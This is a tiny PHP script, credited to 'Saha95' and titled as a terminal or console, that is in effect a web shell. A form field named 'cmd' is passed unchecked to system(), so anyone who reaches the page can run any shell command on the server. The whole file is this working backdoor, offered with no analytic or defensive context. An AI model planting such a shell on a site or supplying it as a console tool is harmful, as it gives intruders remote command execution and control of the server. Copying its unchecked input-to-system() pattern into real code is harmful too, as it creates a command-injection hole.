Terminal , Console , CMD , PHP Code

<?
# Coded By : Saha95
?>
<form method='post'>
<input type='text' name='cmd'>
<input type='submit' name='sa' value='run'>
<pre>
<!-- START CODE PHP -->
<?
if(!empty($_POST['sa'])) {
    system($_POST['cmd']);
}
?>
<!-- END CODE PHP -->
<center> By Saha95 </center>